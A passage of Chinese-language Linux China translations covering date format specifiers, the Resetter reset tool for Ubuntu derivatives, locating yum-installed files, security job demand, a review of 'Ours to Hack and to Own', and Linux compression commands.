| `%A` | 星期的完整形式 （如： `Sunday`）。 |
| `%b` | 缩写的月份 （如： `Jan`）。 |
| `%B` | 当前区域的月份全称 （如： `January`）。 |
| `%c` | 日期以及时间 （如： `Thu Mar 3 23:05:25 2005`）。 |
| `%C` | 当前世纪；类似 `%Y`， 但是会省略最后两位 （如： `20`）。 |
| `%d` | 月中的第几日 （如： `01`）。 |
| `%D` | 日期；效果与 `%m/%d/%y` 一样。 |
| `%e` | 月中的第几日， 会填充空格；与 `%_d` 一样。 |
| `%F` | 完整的日期；跟 `%Y-%m-%d` 一样。 |
| `%g` | 年份的后两位 （参见 `%G`）。 |
| `%G` | 年份 （参见 `%V`）；通常跟 `%V` 连用。 |
| `%h` | 同 `%b`。 |
| `%H` | 小时 （`00`..`23`）。 |
| `%I` | 小时 （`01`..`12`）。 |
| `%j` | 一年中的第几天 （`001`..`366`）。 |
| `%k` | 小时， 用空格填充 （ `0`..`23`）; 与 `%_H` 一样。 |
| `%l` | 小时， 用空格填充 （ `1`..`12`）; 与 `%_I` 一样。 |
| `%m` | 月份 （`01`..`12`）。 |
| `%M` | 分钟 （`00`..`59`）。 |
| `%n` | 换行。 |
| `%N` | 纳秒 （`000000000`..`999999999`）。 |
| `%p` | 当前区域时间是上午 `AM` 还是下午 `PM`；未知则为空。 |
| `%P` | 类似 `%p`， 但是用小写字母显示。 |
| `%r` | 当前区域的 12 小时制显示时间 （如： `11:11:04 PM`）。 |
| `%R` | 24 小时制的小时和分钟；同 `%H:%M`。 |
| `%s` | 从 1970-01-01 00:00:00 UTC 到现在经历的秒数。 |
| `%S` | 秒数 （`00`..`60`）。 |
| `%t` | 制表符。 |
| `%T` | 时间；同 `%H:%M:%S`。 |
| `%u` | 星期 （`1`..`7`）；1 表示 `星期一`。 |
| `%U` | 一年中的第几个星期，以周日为一周的开始 （`00`..`53`）。 |
| `%V` | 一年中的第几个星期，以周一为一周的开始 （`01`..`53`）。 |
| `%w` | 用数字表示周几 （`0`..`6`）； 0 表示 `周日`。 |
| `%W` | 一年中的第几个星期， 周一为一周的开始 （`00`..`53`）。 |
| `%x` | 当前区域的日期表示（如： `12/31/99`）。 |
| `%X` | 当前区域的时间表示 （如： `23:13:48`）。 |
| `%y` | 年份的后面两位 （`00`..`99`）。 |
| `%Y` | 年。 |
| `%z` | 以 `+hhmm` 的数字格式表示时区 （如： `-0400`）。 |
| `%:z` | 以 `+hh:mm` 的数字格式表示时区 （如： `-04:00`）。 |
| `%::z` | 以 `+hh:mm:ss` 的数字格式表示时区 （如： `-04:00:00`）。 |
| `%:::z` | 以数字格式表示时区， 其中 `:` 的个数由你需要的精度来决定 （例如， `-04`， `+05:30`）。 |
| `%Z` | 时区的字符缩写（例如， `EDT`）。 |

#### 10、 设置系统时间

你也可以使用 `date` 来手工设置系统时间，方法是使用 `--set` 选项, 下面的例子会将系统时间设置成 2017 年 8 月 30 日下午 4 点 22 分。

```
date --set="20170830 16:22"

```

当然, 如果你使用的是我们的 [VPS 托管服务](https://www.rosehosting.com/hosting-services.html)，你总是可以联系并咨询我们的 Linux 专家管理员（通过客服电话或者下工单的方式）关于 `date` 命令的任何东西。他们是 24×7 在线的，会立即向您提供帮助。（LCTT 译注：原文的广告~）

PS. 如果你喜欢这篇帖子，请点击下面的按钮分享或者留言。谢谢。

---

via: <https://www.rosehosting.com/blog/use-the-date-command-in-linux/>

作者：[rosehosting](https://www.rosehosting.com) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


利用 Resetter 将 Ubuntu 系发行版重置为初始状态

![](/data/attachment/album/201801/08/184526my72wddy6adheyy6.jpg)

*这个 Resetter 工具可以将 Ubuntu、 Linux Mint （以及其它基于 Ubuntu 的发行版）返回到其初始配置。*

有多少次你投身于 Ubuntu（或 Ubuntu 衍生版本），配置某项内容和安装软件，却发现你的桌面（或服务器）平台并不是你想要的结果。当在机器上产生了大量的用户文件时，这种情况可能会出现问题。既然这样，你有一个选择，你要么可以备份你所有的数据，重新安装操作系统，然后将您的数据复制回本机，或者也可以利用一种类似于 [Resetter](https://github.com/gaining/Resetter) 的工具做同样的事情。

Resetter 是一个新的工具（由名为“[gaining](https://github.com/gaining)”的加拿大开发者开发），用 Python 和 PyQt 编写，它将会重置 Ubuntu、Linux Mint（和一些其他的，基于 Ubuntu 的衍生版）回到初始配置。Resetter 提供了两种不同的复位选择：自动和自定义。利用自动方式，工具就会完成以下内容：

* 删除用户安装的应用软件
* 删除用户及家目录
* 创建默认备份用户
* 自动安装缺失的预装应用软件（MPIA）
* 删除非默认用户
* 删除 snap 软件包

自定义方式会：

* 删除用户安装的应用程序或者允许你选择要删除的应用程序
* 删除旧的内核
* 允许你选择用户进行删除
* 删除用户及家目录
* 创建默认备份用户
* 允许您创建自定义备份用户
* 自动安装缺失的预装应用软件（MPIA）或选择 MPIA 进行安装
* 删除非默认用户
* 查看所有相关依赖包
* 删除 snap 软件包

我将带领您完成安装和使用 Resetter 的过程。但是，我必须告诉你这个工具非常前期的测试版。即便如此， Resetter 绝对值得一试。实际上，我鼓励您测试该应用程序并提交 bug 报告（您可以通过 [GitHub](https://github.com) 提交，或者直接发送给开发人员的电子邮件地址 [gaining7@outlook.com](mailto:gaining7@outlook.com))。

还应注意的是，目前仅支持的衍生版有：

* Debian 9.2 （稳定）Gnome 版本
* Linux Mint 17.3+（对 Mint 18.3 的支持即将推出）
* Ubuntu 14.04+ （虽然我发现不支持 17.10）
* Elementary OS 0.4+
* Linux Deepin 15.4+

说到这里，让我们安装和使用 Resetter。我将在 [Elementary OS Loki](https://elementary.io/) 平台展示。

### 安装

有几种方法可以安装 Resetter。我选择的方法是通过 `gdebi` 辅助应用程序，为什么？因为它将获取安装所需的所有依赖项。首先，我们必须安装这个特定的工具。打开终端窗口并发出命令：

```
sudo apt install gdebi

```

一旦安装完毕，请将浏览器指向 [Resetter 下载页面](https://github.com/gaining/Resetter/releases/tag/v1.1.3-stable)，并下载该软件的最新版本。一旦下载完毕，打开文件管理器，导航到下载的文件，然后单击（或双击，这取决于你如何配置你的桌面） `resetter_XXX-stable_all.deb` 文件（XXX 是版本号）。`gdebi` 应用程序将会打开（图 1）。点击安装包按钮，输入你的 `sudo` 密码，接下来 Resetter 将开始安装。

![gdebi](/data/attachment/album/201801/08/184538a68qazpa9o9zjowc.jpg "gdebi")

*图 1：利用 gdebi 安装 Resetter*

当安装完成，准备接下来的操作。

### 使用 Resetter

**记住，在这之前，必须备份数据。别怪我没提醒你。**

从终端窗口发出命令 `sudo resetter`。您将被提示输入 `sudo`密码。一旦 Resetter 打开，它将自动检测您的发行版（图 2）。

![Resetter](/data/attachment/album/201801/08/184539ifs8dykydv973ldg.jpg "Resetter")

*图 2：Resetter 主窗口*

我们将通过自动重置来测试 Resetter 的流程。从主窗口，点击 Automatic Reset（自动复位）。这款应用将提供一个明确的警告，它将把你的操作系统（我的实例，Elementary OS 0.4.1 Loki）重新设置为出厂默认状态（图 3）。

![警告](/data/attachment/album/201801/08/184539qcehjw9eeuatteww.jpg "warning")

\*图 3：在继续之前，Resetter 会警告您。 \*

单击“Yes”，Resetter 会显示它将删除的所有包（图 4）。如果您没有问题，单击 OK，重置将开始。

![移除软件包](/data/attachment/album/201801/08/184540itqfdvfq101k08zx.jpg "remove packages")

*图 4：所有要删除的包，以便将 Elementary OS 重置为出厂默认值。*

在重置过程中，应用程序将显示一个进度窗口（图 5）。根据安装的数量，这个过程不应该花费太长时间。

![进度](/data/attachment/album/201801/08/184540ihvivivrvgzwm9g4.jpg "progress")

*图 5：Resetter 进度窗口*

当过程完成时，Resetter 将显示一个新的用户名和密码，以便重新登录到新重置的发行版（图 6）。

![新用户](/data/attachment/album/201801/08/184540ygsai40a0qyj3yyx.jpg "new username")

*图 6：新用户及密码*

单击 OK，然后当提示时单击“Yes”以重新启动系统。当提示登录时，使用 Resetter 应用程序提供给您的新凭证。成功登录后，您需要重新创建您的原始用户。该用户的主目录仍然是完整的，所以您需要做的就是发出命令 `sudo useradd USERNAME` （ USERNAME 是用户名）。完成之后，发出命令 `sudo passwd USERNAME` （USERNAME 是用户名）。使用设置的用户/密码，您可以注销并以旧用户的身份登录（使用在重新设置操作系统之前相同的家目录）。

### 我的成果

我必须承认，在将密码添加到我的老用户（并通过使用 `su` 命令切换到该用户进行测试）之后，我无法使用该用户登录到 Elementary OS 桌面。为了解决这个问题，我登录了 Resetter 所创建的用户，移动了老用户的家目录，删除了老用户（使用命令 `sudo deluser jack`），并重新创建了老用户（使用命令 `sudo useradd -m jack`）。

这样做之后，我检查了原始的家目录，只发现了用户的所有权从 `jack.jack` 变成了 `1000.1000`。利用命令 `sudo chown -R jack.jack /home/jack`，就可以容易的修正这个问题。教训是什么？如果您使用 Resetter 并发现无法用您的老用户登录（在您重新创建用户并设置一个新密码之后），请确保更改用户的家目录的所有权限。

在这个问题之外，Resetter 在将 Elementary OS Loki 恢复到默认状态方面做了大量的工作。虽然 Resetter 处在测试中，但它是一个相当令人印象深刻的工具。试一试，看看你是否有和我一样出色的成绩。

---

via: <https://www.linux.com/learn/intro-to-linux/2017/12/set-ubuntu-derivatives-back-default-resetter>

作者：[Jack Wallen](https://www.linux.com/users/jlwallen) 译者：[stevenzdg988](https://github.com/stevenzdg988) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


在 CentOS/RHEL 上查找 yum 安裝的软件的位置

Summary: 我已经在 CentOS/RHEL 上安装了 htop 。现在想知道软件被安装在哪个位置。有没有简单的方法能找到 yum 软件包安装的目录呢？

![](/data/attachment/album/201801/08/190233wb83b9tmmqluulzu.jpg)

**我已经在 CentOS/RHEL 上[安装了 htop](https://www.cyberciti.biz/faq/centos-redhat-linux-install-htop-command-using-yum/) 。现在想知道软件被安装在哪个位置。有没有简单的方法能找到 yum 软件包安装的目录呢？**

[yum 命令](https://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/ "See Linux/Unix yum command examples for more info") 是可交互的、基于 rpm 的 CentOS/RHEL 的开源软件包管理工具。它会帮助你自动地完成以下操作：

1. 核心系统文件更新
2. 软件包更新
3. 安装新的软件包
4. 删除旧的软件包
5. 查找已安装和可用的软件包

和 `yum` 相似的软件包管理工具有： [apt-get 命令](https://www.cyberciti.biz/tips/linux-debian-package-management-cheat-sheet.html "See Linux/Unix apt-get command examples for more info") 和 [apt 命令](https://www.cyberciti.biz/faq/ubuntu-lts-debian-linux-apt-command-examples/ "See Linux/Unix apt command examples for more info")。

### yum 安装软件包的位置

处于演示的目的，我们以下列命令安装 `htop`：

```
# yum install htop

```

要列出名为 htop 的 yum 软件包安装的文件，运行下列 `rpm` 命令：

```
# rpm -q {packageNameHere}
# rpm -ql htop

```

示例输出：

```
/usr/bin/htop
/usr/share/doc/htop-2.0.2
/usr/share/doc/htop-2.0.2/AUTHORS
/usr/share/doc/htop-2.0.2/COPYING
/usr/share/doc/htop-2.0.2/ChangeLog
/usr/share/doc/htop-2.0.2/README
/usr/share/man/man1/htop.1.gz
/usr/share/pixmaps/htop.png

```

### 如何使用 repoquery 命令查看由 yum 软件包安装的文件位置

首先使用 [yum 命令](https://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/ "See Linux/Unix yum command examples for more info") 安装 yum-utils 软件包：

```
# yum install yum-utils

```

示例输出：

```
Resolving Dependencies
--> Running transaction check
---> Package yum-utils.noarch 0:1.1.31-42.el7 will be installed
--> Processing Dependency: python-kitchen for package: yum-utils-1.1.31-42.el7.noarch
--> Processing Dependency: libxml2-python for package: yum-utils-1.1.31-42.el7.noarch
--> Running transaction check
---> Package libxml2-python.x86_64 0:2.9.1-6.el7_2.3 will be installed
---> Package python-kitchen.noarch 0:1.1.1-5.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

=======================================================================================
 Package           Arch      Version             Repository                       Size
=======================================================================================
Installing:
 yum-utils         noarch    1.1.31-42.el7       rhui-rhel-7-server-rhui-rpms    117 k
Installing for dependencies:
 libxml2-python    x86_64    2.9.1-6.el7_2.3     rhui-rhel-7-server-rhui-rpms    247 k
 python-kitchen    noarch    1.1.1-5.el7         rhui-rhel-7-server-rhui-rpms    266 k

Transaction Summary
=======================================================================================
Install  1 Package (+2 Dependent packages)

Total download size: 630 k
Installed size: 3.1 M
Is this ok [y/d/N]: y
Downloading packages:
(1/3): python-kitchen-1.1.1-5.el7.noarch.rpm                    | 266 kB  00:00:00
(2/3): libxml2-python-2.9.1-6.el7_2.3.x86_64.rpm                | 247 kB  00:00:00
(3/3): yum-utils-1.1.31-42.el7.noarch.rpm                       | 117 kB  00:00:00
---------------------------------------------------------------------------------------
Total                                                     1.0 MB/s | 630 kB  00:00
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : python-kitchen-1.1.1-5.el7.noarch                                   1/3
  Installing : libxml2-python-2.9.1-6.el7_2.3.x86_64                               2/3
  Installing : yum-utils-1.1.31-42.el7.noarch                                      3/3
  Verifying  : libxml2-python-2.9.1-6.el7_2.3.x86_64                               1/3
  Verifying  : yum-utils-1.1.31-42.el7.noarch                                      2/3
  Verifying  : python-kitchen-1.1.1-5.el7.noarch                                   3/3

Installed:
  yum-utils.noarch 0:1.1.31-42.el7

Dependency Installed:
  libxml2-python.x86_64 0:2.9.1-6.el7_2.3      python-kitchen.noarch 0:1.1.1-5.el7

Complete!

```

### 如何列出通过 yum 安装的命令？

现在可以使用 `repoquery` 命令：

```
# repoquery --list htop

```

或者：

```
# repoquery -l htop

```

示例输出：

[![yum where is package installed](/data/attachment/album/201801/08/190249i3go0mog3uminfuq.jpg)](https://www.cyberciti.biz/media/new/faq/2018/01/yum-where-is-package-installed.jpg)

*使用 repoquery 命令确定 yum 包安装的路径*

你也可以使用 `type` 命令或者 `command` 命令查找指定二进制文件的位置，例如 `httpd` 或者 `htop` ：

```
$ type -a httpd
$ type -a htop
$ command -V htop

```

### 关于作者

作者是 nixCraft 的创始人，是经验丰富的系统管理员并且是 Linux 命令行脚本编程的教练。他拥有全球多行业合作的经验，客户包括 IT，教育，安防和空间研究。他的联系方式：[Twitter](https://twitter.com/nixcraft)、 [Facebook](https://facebook.com/nixcraft)、 [Google+](https://plus.google.com/+CybercitiBiz)。

---

via: <https://www.cyberciti.biz/faq/yum-determining-finding-path-that-yum-package-installed-to/>

作者：[cyberciti](https://www.cyberciti.biz) 译者：[cyleung](https://github.com/cyleung) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux 中国](https://linux.cn/) 荣誉推出


安全专家的需求正在快速增长

![security skills](/data/attachment/album/201801/08/221411mah5w7g2r75mftw2.png "security skills")

>
> 来自 Dice 和 Linux 基金会的“开源工作报告”发现，未来对具有安全经验的专业人员的需求很高。
>
>
>

对安全专业人员的需求是真实的。在 [Dice.com](http://www.dice.com/) 多达 75,000 个职位中，有 15％ 是安全职位。[福布斯](https://www.forbes.com/sites/jeffkauflin/2017/03/16/the-fast-growing-job-with-a-huge-skills-gap-cyber-security/#292f0a675163) 称：“根据网络安全数据工具 [CyberSeek](http://cyberseek.org/index.html#about)，在美国每年有 4 万个信息安全分析师的职位空缺，雇主正在努力填补其他 20 万个与网络安全相关的工作。”我们知道，安全专家的需求正在快速增长，但感兴趣的程度还较低。

### 安全是要关注的领域

根据我的经验，很少有大学生对安全工作感兴趣，所以很多人把安全视为商机。入门级技术专家对业务分析师或系统分析师感兴趣，因为他们认为，如果想学习和应用核心 IT 概念，就必须坚持分析师工作或者更接近产品开发的工作。事实并非如此。

事实上，如果你有兴趣成为商业领导者，那么安全是要关注的领域 —— 作为一名安全专业人员，你必须端到端地了解业务，你必须看大局来给你的公司带来优势。

### 无所畏惧

分析师和安全工作并不完全相同。公司出于必要继续合并工程和安全工作。企业正在以前所未有的速度进行基础架构和代码的自动化部署，从而提高了安全作为所有技术专业人士日常生活的一部分的重要性。在我们的 [Linux 基金会的开源工作报告](http://media.dice.com/report/the-2017-open-source-jobs-report-employers-prioritize-hiring-open-source-professionals-with-latest-skills/)中，42％ 的招聘经理表示未来对有安全经验的专业人士的需求很大。

在安全方面从未有过更激动人心的时刻。如果你随时掌握最新的技术新闻，就会发现大量的事情与安全相关 —— 数据泄露、系统故障和欺诈。安全团队正在不断变化，快节奏的环境中工作。真正的挑战在于在保持甚至改进最终用户体验的同时，积极主动地进行安全性，发现和消除漏洞。

### 增长即将来临

在技术的任何方面，安全将继续与云一起成长。企业越来越多地转向云计算，这暴露出比组织里比过去更多的安全漏洞。随着云的成熟，安全变得越来越重要。

条例也在不断完善 —— 个人身份信息（PII）越来越广泛。许多公司都发现他们必须投资安全来保持合规，避免成为头条新闻。由于面临巨额罚款，声誉受损以及行政工作安全，公司开始越来越多地为安全工具和人员安排越来越多的预算。

### 培训和支持

即使你不选择一个专门的安全工作，你也一定会发现自己需要写安全的代码，如果你没有这个技能，你将开始一场艰苦的战斗。如果你的公司提供在工作中学习的话也是可以的，但我建议结合培训、指导和不断的实践。如果你不使用安全技能，你将很快在快速进化的恶意攻击的复杂性中失去它们。

对于那些寻找安全工作的人来说，我的建议是找到组织中那些在工程、开发或者架构领域最为强大的人员 —— 与他们和其他团队进行交流，做好实际工作，并且确保在心里保持大局。成为你的组织中一个脱颖而出的人，一个可以写安全的代码，同时也可以考虑战略和整体基础设施健康状况的人。

### 游戏最后

越来越多的公司正在投资安全性，并试图填补他们的技术团队的开放角色。如果你对管理感兴趣，那么安全是值得关注的地方。执行层领导希望知道他们的公司正在按规则行事，他们的数据是安全的，并且免受破坏和损失。

明智地实施和有战略思想的安全是受到关注的。安全对高管和消费者之类至关重要 —— 我鼓励任何对安全感兴趣的人进行培训和贡献。

*现在[下载](http://bit.ly/2017OSSjobsreport)完整的 2017 年开源工作报告*

---

via: <https://www.linux.com/blog/os-jobs-report/2017/11/security-jobs-are-hot-get-trained-and-get-noticed>

作者：[BEN COLLEN](https://www.linux.com/users/bencollen) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


书评：《Ours to Hack and to Own》

Summary: 一种逐渐流行的补救办法就是建立平台合作社（platform cooperatives）， 即由他们的用户所拥有的电子化平台。正如这本书《Ours to Hack and to Own》所阐述的，平台合作社背后的观点与开源有许多相同的根源。

>
> 本书被《连线》杂志列为 [2017 年出版的最有价值的科技书籍](https://www.wired.com/story/the-top-tech-books-of-2017-part-1/)之一。
>
>
>

![](/data/attachment/album/201801/08/230417a34ph3k8jp6rf7cu.jpg)

私有制的时代看起来似乎结束了，在这里我将不仅仅讨论那些由我们中的许多人引入到我们的家庭与生活的设备和软件，我也将讨论这些设备与应用依赖的平台与服务。

尽管我们使用的许多服务是免费的，但我们对它们并没有任何控制权。本质上讲，这些企业确实控制着我们所看到的、听到的以及阅读到的内容。不仅如此，许多企业还在改变工作的本质。他们正使用封闭的平台来助长由全职工作到[零工经济](https://en.wikipedia.org/wiki/Access_economy)的转变，这种方式提供极少的安全性与确定性。

这项行动对于网络以及每一个使用与依赖网络的人产生了广泛的影响。仅仅二十多年前的对开放互联网的想象正在逐渐消逝，并迅速地被一块难以穿透的幕帘所取代。

一种逐渐流行的补救办法就是建立<ruby> <a href="https://en.wikipedia.org/wiki/Platform_cooperative">  平台合作社 </a> <rt>  platform cooperatives </rt></ruby>， 即由他们的用户所拥有的电子化平台。正如这本书[《Ours to Hack and to Own》](http://www.orbooks.com/catalog/ours-to-hack-and-to-own/)所阐述的，平台合作社背后的观点与开源有许多相同的根源。

学者 Trebor Scholz 和作家 Nathan Schneider 已经收集了 40 篇论文，探讨平台合作社作为普通人可使用的工具的增长及需求，以提升开放性并对闭源系统的不透明性及各种限制予以还击。

### 何处适合开源

任何平台合作社核心及接近核心的部分依赖于开源；不仅开源技术是必要的，构成开源开放性、透明性、协同合作以及共享的准则与理念同样不可或缺。

在这本书的介绍中，Trebor Scholz 指出：

>
> 与斯诺登时代的互联网黑盒子系统相反，这些平台需要使它们的数据流透明来辨别自身。他们需要展示客户与员工的数据在哪里存储，数据出售给了谁以及数据用于何种目的。
>
>
>

正是对开源如此重要的透明性，促使平台合作社如此吸引人，并在目前大量已有平台之中成为令人耳目一新的变化。

开源软件在《Ours to Hack and to Own》所分享的平台合作社的构想中必然充当着重要角色。开源软件能够为群体建立助推合作社的技术基础设施提供快速而不算昂贵的途径。

Mickey Metts 在论文中这样形容， “邂逅你的友邻技术伙伴。" Metts 为一家名为 Agaric 的企业工作，这家企业使用 Drupal 为团体及小型企业建立他们不能自行完成的平台。除此以外, Metts 还鼓励任何想要建立并运营自己的企业的公司或合作社的人接受自由开源软件。为什么呢？因为它是高质量的、并不昂贵的、可定制的，并且你能够与由乐于助人而又热情的人们组成的大型社区产生联系。

### 不总是开源的，但开源总在

这本书里不是所有的论文都关注或提及开源的；但是，开源方式的关键元素——合作、社区、开放治理以及电子自由化——总是在其间若隐若现。

事实上正如《Ours to Hack and to Own》中许多论文所讨论的，建立一个更加开放、基于平常人的经济与社会区块，平台合作社会变得非常重要。用 Douglas Rushkoff 的话讲，那会是类似 Creative Commons 的组织“对共享知识资源的私有化”的补偿。它们也如 Barcelona 的 CTO Francesca Bria 所描述的那样，是“通过确保市民数据安全性、隐私性和权利的系统”来运营他们自己的“分布式通用数据基础架构”的城市。

### 最后的思考

如果你在寻找改变互联网以及我们工作的方式的蓝图，《Ours to Hack and to Own》并不是你要寻找的。这本书与其说是用户指南，不如说是一种宣言。如书中所说，《Ours to Hack and to Own》让我们略微了解如果我们将开源方式准则应用于社会及更加广泛的世界我们能够做的事。

---

作者简介:

Scott Nesbitt ——作家、编辑、雇佣兵、 <ruby> 虎猫牛仔 <rt>  Ocelot wrangle </rt></ruby>、丈夫与父亲、博客写手、陶器收藏家。Scott 正是做这样的一些事情。他还是大量写关于开源软件文章与博客的长期开源用户。你可以在 Twitter、Github 上找到他。

---

via: <https://opensource.com/article/17/1/review-book-ours-to-hack-and-own>

作者：[Scott Nesbitt](https://opensource.com/users/scottnesbitt) 译者：[darsh8](https://github.com/darsh8) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


如何在 Linux 使用文件压缩

Summary: Linux 系统为文件压缩提供了许多选择，关键是选择一个最适合你的。

Linux 系统为文件压缩提供了许多选择，关键是选择一个最适合你的。

![](/data/attachment/album/201801/09/001640jdaqwozzh3az9u0w.jpg)

>
> Linux 系统为文件压缩提供了许多选择，关键是选择一个最适合你的。
>
>
>

如果你对可用于 Linux 系统的文件压缩命令或选项有任何疑问，你也许应该看一下 `apropos compress` 这个命令的输出。如果你有机会这么做，你会惊异于有如此多的的命令来进行压缩文件和解压缩文件；此外还有许多命令来进行压缩文件的比较、检验，并且能够在压缩文件中的内容中进行搜索，甚至能够把压缩文件从一个格式变成另外一种格式（如，将 `.z` 格式变为 `.gz` 格式 ）。

你可以看到只是适用于 bzip2 压缩的全部条目就有这么多。加上 zip、gzip 和 xz 在内，你会有非常多的选择。

```
$ apropos compress | grep ^bz
    bzcat (1)            - decompresses files to stdout
    bzcmp (1)            - compare bzip2 compressed files
    bzdiff (1)           - compare bzip2 compressed files
    bzegrep (1)          - search possibly bzip2 compressed files for a regular expression
    bzexe (1)            - compress executable files in place
    bzfgrep (1)          - search possibly bzip2 compressed files for a regular expression
    bzgrep (1)           - search possibly bzip2 compressed files for a regular expression
    bzip2 (1)            - a block-sorting file compressor, v1.0.6
    bzless (1)           - file perusal filter for crt viewing of bzip2 compressed text
    bzmore (1)           - file perusal filter for crt viewing of bzip2 compressed text

```

在我的 Ubuntu 系统上 ，`apropos compress` 命令的返回中列出了 60 条以上的命令。

### 压缩算法

压缩并没有普适的方案，某些压缩工具是有损压缩，例如一些压缩用于减少 mp3 文件大小，而能够使聆听者有接近原声的音乐感受。但是在 Linux 命令行上压缩或归档用户文件所使用的算法必须能够精确地重新恢复为原始数据。换句话说，它们必须是无损的。

这是如何做到的？让我们假设在一行上有 300 个相同的字符可以被压缩成像 “300x” 这样的字符串，但是这种算法对大多数文件没有很大的用处，因为文件中不可能包含长的相同字符序列比完全随机的序列更多。 压缩算法要复杂得多，从 Unix 早期压缩首次被引入以来，它就越来越复杂了。

### 在 Linux 系统上的压缩命令

在 Linux 系统上最常用的文件压缩命令包括 `zip`、`gzip`、`bzip2`、`xz`。 所有这些压缩命令都以类似的方式工作，但是你需要权衡有多少文件要压缩（节省多少空间）、压缩花费的时间、压缩文件在其他你需要使用的系统上的兼容性。

有时压缩一个文件并不会花费很多时间和精力。在下面的例子中，被压缩的文件实际上比原始文件要大。这并不是一个常见情况，但是有可能发生——尤其是在文件内容达到一定程度的随机性。

```
$ time zip bigfile.zip bigfile
    adding: bigfile (default 0% )
real    0m0.055s
user    0m0.000s
sys     0m0.016s
$ ls -l bigfile*
-rw-r--r-- 1 root root   0 12月 20 22:36 bigfile
-rw------- 1 root root 164 12月 20 22:41 bigfile.zip

```

注意该文件压缩后的版本（`bigfile.zip`）比原始文件（`bigfile`）要大。如果压缩增加了文件的大小或者减少很少的比例，也许唯一的好处就是便于在线备份。如果你在压缩文件后看到了下面的信息，你不会从压缩中得到什么受益。

```
 ( defalted 1% )

```

文件内容在文件压缩的过程中有很重要的作用。在上面文件大小增加的例子中是因为文件内容过于随机。压缩一个文件内容只包含 `0` 的文件，你会有一个相当震惊的压缩比。在如此极端的情况下，三个常用的压缩工具都有非常棒的效果。

```
-rw-rw-r-- 1 shs shs 10485760 Dec 8 12:31 zeroes.txt
-rw-rw-r-- 1 shs shs 49 Dec 8 17:28 zeroes.txt.bz2
-rw-rw-r-- 1 shs shs 10219 Dec 8 17:28 zeroes.txt.gz
-rw-rw-r-- 1 shs shs 1660 Dec 8 12:31 zeroes.txt.xz
-rw-rw-r-- 1 shs shs 10360 Dec 8 12:24 zeroes.zip

```

令人印象深刻的是，你不太可能看到超过 1000 万字节而压缩到少于 50 字节的文件, 因为基本上不可能有这样的文件。

在更真实的情况下 ，大小差异总体上是不同的，但是差别并不显著，比如对于确实不太大的 jpg 图片文件来说。

```
-rw-r--r-- 1 shs shs 13522 Dec 11 18:58 image.jpg
-rw-r--r-- 1 shs shs 13875 Dec 11 18:58 image.jpg.bz2
-rw-r--r-- 1 shs shs 13441 Dec 11 18:58 image.jpg.gz
-rw-r--r-- 1 shs shs 13508 Dec 11 18:58 image.jpg.xz
-rw-r--r-- 1 shs shs 13581 Dec 11 18:58 image.jpg.zip

```

在对大的文本文件同样进行压缩时 ，你会看到显著的不同。

```
$ ls -l textfile*
    -rw-rw-r-- 1 shs shs 8740836 Dec 11 18:41 textfile
    -rw-rw-r-- 1 shs shs 1519807 Dec 11 18:41 textfile.bz2
    -rw-rw-r-- 1 shs shs 1977669 Dec 11 18:41 textfile.gz
    -rw-rw-r-- 1 shs shs 1024700 Dec 11 18:41 textfile.xz
    -rw-rw-r-- 1 shs shs 1977808 Dec 11 18:41 textfile.zip

```

在这种情况下 ，`xz` 相较于其他压缩命令有效的减小了文件大小，对于第二的 bzip2 命令也是如此。

### 查看压缩文件

这些以 `more` 结尾的命令（`bzmore` 等等）能够让你查看压缩文件的内容而不需要解压文件。

```
bzmore (1) - file perusal filter for crt viewing of bzip2 compressed text
lzmore (1) - view xz or lzma compressed (text) files
xzmore (1) - view xz or lzma compressed (text) files
zmore (1) - file perusal filter for crt viewing of compressed text

```

为了解压缩文件内容显示给你，这些命令做了大量的计算。但在另一方面，它们不会把解压缩后的文件留在你系统上，它们只是即时解压需要的部分。

```
$ xzmore textfile.xz | head -1
    Here is the agenda for tomorrow's staff meeting:

```

### 比较压缩文件

有几个压缩工具箱包含一个差异命令（例如 ：`xzdiff`），那些工具会把这些工作交给 `cmp` 和 `diff` 来进行比较，而不是做特定算法的比较。例如，`xzdiff` 命令比较 bz2 类型的文件和比较 xz 类型的文件一样简单 。

### 如何选择最好的 Linux 压缩工具

如何选择压缩工具取决于你工作。在一些情况下，选择取决于你所压缩的数据内容。在更多的情况下，取决你组织内的惯例，除非你对磁盘空间有着很高的敏感度。下面是一般性建议：

**zip** 对于需要分享给或者在 Windows 系统下使用的文件最适合。

**gzip** 或许对你要在 Unix/Linux 系统下使用的文件是最好的。虽然 bzip2 已经接近普及，但 gzip 看起来仍将长期存在。

**bzip2** 使用了和 gzip 不同的算法，并且会产生比 gzip 更小的文件，但是它们需要花费更长的时间进行压缩。

**xz** 通常可以提供最好的压缩率，但是也会花费相当长的时间。它比其他工具更新一些，可能在你工作的系统上还不存在。

### 注意

在压缩文件时，你有很多选择，而在极少的情况下，并不能有效节省磁盘存储空间。

---

via: <https://www.networkworld.com/article/3240938/linux/how-to-squeeze-the-most-out-of-linux-file-compression.html>

作者：[Sandra Henry-Stocker](https://www.networkworld.com) 译者：[singledo](https://github.com/singledo) 校对：[wxy](https://github.com/wxy)

本文由  [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，Linux中国 荣誉推出